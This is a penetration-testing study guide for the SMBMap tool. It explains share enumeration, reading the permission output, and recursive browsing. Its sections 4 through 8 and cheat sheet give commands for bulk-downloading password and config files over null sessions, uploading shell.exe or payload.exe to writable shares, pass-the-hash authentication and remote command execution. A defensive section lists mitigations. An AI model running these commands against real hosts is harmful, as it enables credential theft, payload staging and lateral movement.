

SMBMap — Study Guide

SMBMap is a purpose-built SMB share enumeration tool that picks up exactly where Enum4linux leaves off — where Enum4linux gives you a broad sweep (users, groups, password policy, shares), SMBMap focuses specifically and cleanly on **what shares exist and what access level you actually have on each one**. It's usually the very next tool run once Enum4linux confirms SMB is reachable and shares are present.

1. Why SMBMap Exists Alongside Enum4linux

Enum4linux's share output is functional but not always the clearest to read at a glance — it lists shares, but confirming exact **read/write/no-access** permissions per share sometimes requires cross-referencing multiple lines of output. SMBMap was built to solve exactly that: a clean, tabular view of every share and your precise access level on each, plus the ability to recursively browse, download, upload, and even execute commands — all without leaving the tool.

```
Enum4linux → broad first-pass (users, groups, password policy, shares)
SMBMap     → focused, clean confirmation of share access levels + file interaction
```

2. Basic Usage

```
smbmap -H target # null session, list shares + access level
smbmap -H target -u "username" -p "password" # authenticated
smbmap -H target -u "username" -p "password" -d DOMAIN
```

Key Flags

Flag	Meaning
-H	Target host
-u	Username

Flag	Meaning
<code>-p</code>	Password (or NTLM hash — see Section 6)
<code>-d</code>	Domain
<code>-P</code>	Port (default 445)
<code>-r</code>	Recursively list a share's contents
<code>-R</code>	Recursively list, following into all directories
<code>-A</code>	Download files matching a pattern (regex)
<code>-x</code>	Execute a command remotely (requires admin-level share access)
<code>--download</code>	Download a specific file
<code>--upload</code>	Upload a local file to a share

3. Reading the Output

```
smbmap -H 192.168.1.10 -u '' -p ''
```

```
[+] IP: 192.168.1.10:445      Name: 192.168.1.10
  Disk                      Permissions      Comment
  ----                      -
  ADMIN$                   NO ACCESS      Remote Admin
  C$                       NO ACCESS      Default share
  tmp                      READ, WRITE
  Users                    READ ONLY
  IPC$                    NO ACCESS      Remote IPC
```

This single view immediately tells you what Enum4linux might make you piece together across several lines: `tmp` is fully writable with a null session (a strong initial-access lead — writable shares are worth investigating first), `Users` is readable, and the admin-level shares are locked down.

Why a writable share matters so much: if a writable share is also a path a service or scheduled task reads from (e.g., a web server serving files from that share, or a script executed by a scheduled task pointing there), you may be able to drop a payload directly — the same underlying idea as the writable cron script technique from your cron guide, just via SMB instead of the filesystem directly.

4. Browsing and Downloading Files

```
smbmap -H target -u '' -p '' -r tmp # list contents of the 'tmp' share
smbmap -H target -u '' -p '' -R # recursively list ALL shares
smbmap -H target -u '' -p '' --download 'tmp\notes.txt' # download a specific file
```

Pattern-based bulk download (very useful for hunting credentials/config files at scale):

```
smbmap -H target -u '' -p '' -A 'password' -R # download any file whose name matches "password"
smbmap -H target -u '' -p '' -A '\.config$' -R # download all .config files found recursively
```

5. Uploading Files (When Write Access Is Confirmed)

```
smbmap -H target -u '' -p '' --upload /local/path/shell.exe 'tmp\shell.exe'
```

This is the direct follow-through on a **READ, WRITE** finding from Section 3 — if you've confirmed write access and there's a plausible execution path (a service that reads from this share, a user who might run something dropped there, etc.), this is how you'd stage a payload.

6. Authentication Options

```
# Password auth
smbmap -H target -u 'jsmith' -p 'Summer2024!'

# Pass-the-hash (NTLM hash instead of a plaintext password
- common once you've dumped hashes)
smbmap -H target -u 'jsmith' -p 'aad3b435b51404eeaad3b435b51404ee:8846f7eaae8fb117ad06bdd830b7586c'
```

```
# Domain-scoped auth
smbmap -H target -u 'jsmith' -p 'pass' -d CORP
```

Pass-the-hash support matters a lot in AD engagements — once you've dumped NTLM hashes (e.g., via Mimikatz, covered in your ATT&CK/File Permissions notes), you often don't need to crack them at all; SMBMap (like most SMB tools) can authenticate directly with the hash.

7. Command Execution (x)

```
smbmap -H target -u 'admin' -p 'pass' -x 'whoami'
smbmap -H target -u 'admin' -p 'pass' -x 'ipconfig /all'
```

This requires **admin-level** access to a share like `ADMIN$` or `C$` (effectively local admin rights on the target) — under the hood, it works by uploading and remotely triggering a service the same way tools like `psexec` -style utilities do. Not a low-privilege technique; this is what you'd use once you already have admin credentials and want quick remote command execution without a full shell.

8. Practical Example — Full Recon-to-Access Workflow

```
# 1. Confirm SMB is open
nmap -p445 --script=smb-os-discovery target

# 2. Broad enumeration
enum4linux -a target

# 3. Clean share access confirmation
smbmap -H target -u '' -p ''

# 4. Recursively browse a share with READ access
smbmap -H target -u '' -p '' -R Users

# 5. Bulk-download anything matching sensitive filename patterns
```

```
smbmap -H target -u '' -p '' -A 'password|config|.env' -R

# 6. If a share is WRITE-accessible, consider staging a payload
smbmap -H target -u '' -p '' --upload payload.exe 'tmp\payload.exe'
```

9. SMBMap vs. Related Tools — Quick Comparison

Tool	Best For
Enum4linux / enum4linux-ng	Broad first-pass: users, groups, password policy, RID cycling
SMBMap	Clean share access-level confirmation, browsing, download/upload, remote exec
smbclient	Interactive, manual, single-share browsing (more granular, more manual)
CrackMapExec / NetExec	Large-scale spraying across many hosts, combines SMB auth + execution + enumeration at scale

Practical takeaway: in a real engagement you typically layer these — Enum4linux for the initial broad sweep, SMBMap to zero in on exactly which shares are worth your time, and `smbclient` when you want fine-grained manual control over a single specific share.

10. Kill Chain / ATT&CK Mapping

Framework	Mapping
Cyber Kill Chain	Reconnaissance (share/access discovery) → can bridge directly into Delivery/Installation if a writable share enables payload staging
MITRE ATT&CK	T1135 (Network Share Discovery), T1021.002 (Remote Services: SMB/Windows Admin Shares) — the latter specifically covers using SMB shares for lateral movement/execution, which is exactly what SMBMap's <code>-x</code> / <code>--upload</code> features enable

11. Defensive Angle (SOC Relevance)

- **Audit share permissions regularly** — a writable share with no legitimate business need for it (like the classic overly-permissive `tmp` share) is a self-inflicted risk that tools like SMBMap find in seconds
- **Disable null sessions** (same mitigation as Enum4linux) — the majority of SMBMap's most damaging findings assume an unauthenticated session works at all
- **Monitor SMB authentication logs** for a single source IP touching many shares/hosts in quick succession — a strong signal of either Enum4linux/SMBMap-style enumeration or CrackMapExec-style spraying
- **Restrict `ADMIN$` / `C$` access** to only genuinely necessary admin accounts, since these are exactly what tools rely on for the remote command execution feature

Quick Reference Cheat Sheet

```
smbmap -H target # n
ull session, list shares
smbmap -H target -u 'user' -p 'pass' #
authenticated
smbmap -H target -u 'user' -p 'NTHASH:NTHASH' #
pass-the-hash
smbmap -H target -u '' -p '' -r ShareName
# list share contents
smbmap -H target -u '' -p '' -R
# recurse all shares
smbmap -H target -u '' -p '' -A 'password' -R #
bulk download by pattern
smbmap -H target -u '' -p '' --download 'Share\file.txt'
# download specific file
smbmap -H target -u '' -p '' --upload local.exe 'Share\file.exe' # upload
smbmap -H target -u 'admin' -p 'pass' -x 'whoami'
# remote command exec
```